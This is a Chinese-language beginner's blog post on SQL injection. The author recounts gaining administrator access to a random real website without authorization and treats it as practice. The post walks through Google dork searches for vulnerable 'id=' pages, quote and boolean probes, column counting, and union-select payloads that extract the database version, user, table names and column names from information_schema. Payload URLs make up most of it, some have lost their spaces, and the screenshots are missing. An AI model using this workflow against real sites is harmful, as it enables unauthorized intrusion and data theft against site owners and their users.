新手学习SQL 注入式攻击

2022-05-04 03:41:22

2天以前，俺对于SQL注入式攻击仅仅是有个理论的概念，昨天上班无聊，随手搜索了一下相关的文档，做了个小练习，结果成功获取了某小网站的管理员权限，现在分享一下学习心得。

第一步：搜索可能有漏洞的网站

Google 是很强大的，之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多，例如：

inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

inurl:pageid=

网上有个术语，把这些称作“Google Dorks”

如果想针对某个特定的网站，可以用类似的格式搜索：site: http:// www.victimsite.com inurl:php?id=

第二步：检测一下目标是否有明显漏洞

搜索结果会出来一大堆，一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。

例如http:// www.victimsite.com /index.php?id=2'

经过5分钟的随意搜索和测试，俺找到一个学习的目标~

正常界面是这样的，

但是等我输入单引号，同样的界面就变成了

当我加上and 1=2 之后呢变成了

Good！很明显，对于不同的SQL语句有不同的反馈，有门！

第三步：看看该表有多少个字段

这一步很简单，也容易理解，url后面加上order by number就行了，这个number可以随意输入，一般从小往大的尝试，比如12,3,4,5都能看见网页界面，然后6就报错了，那么很明显这个网页对应的表只有5个字段

比如当我输入1-4的时候是这个界面

输入5就变成了

很好，那说明这个表就只有4个字段。

第四步：找到有漏洞的字段

如果字段数目是7，那么可以用以下方式，注意数字改成负数

http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—

或者

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—

以我的攻击目标为例

很好，说明字段2有漏洞

第五步：找到对应的版本号，数据库和用户

把上面的2换成对应的version(),database()和user()即可，例如

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—

我的执行结果是

第六步：看看这个数据库下有哪些表

用group_concat(table_name)替换有漏洞的字段，然后后面加frominformation_schema.tables where table_schema=database()

例如：http://www.victimsite.com/index.php?id=-2 and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere table_schema=database()—

执行结果如下：

第七步：找到表里的字段名称

把"from information_schema.tables where table_schema=database()--" 替换成"FROMinformation_schema.columns WHERE table_name=mysqlchar—

然后在firefox上安装一个插件HackBar

装好以后界面如下

选择Sql->Mysql->MysqlChar()，然后输入你想查询的表名

将生成的结果替换到mysqlchar

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns wheretable_name=CHAR(97, 100,109, 105, 110)--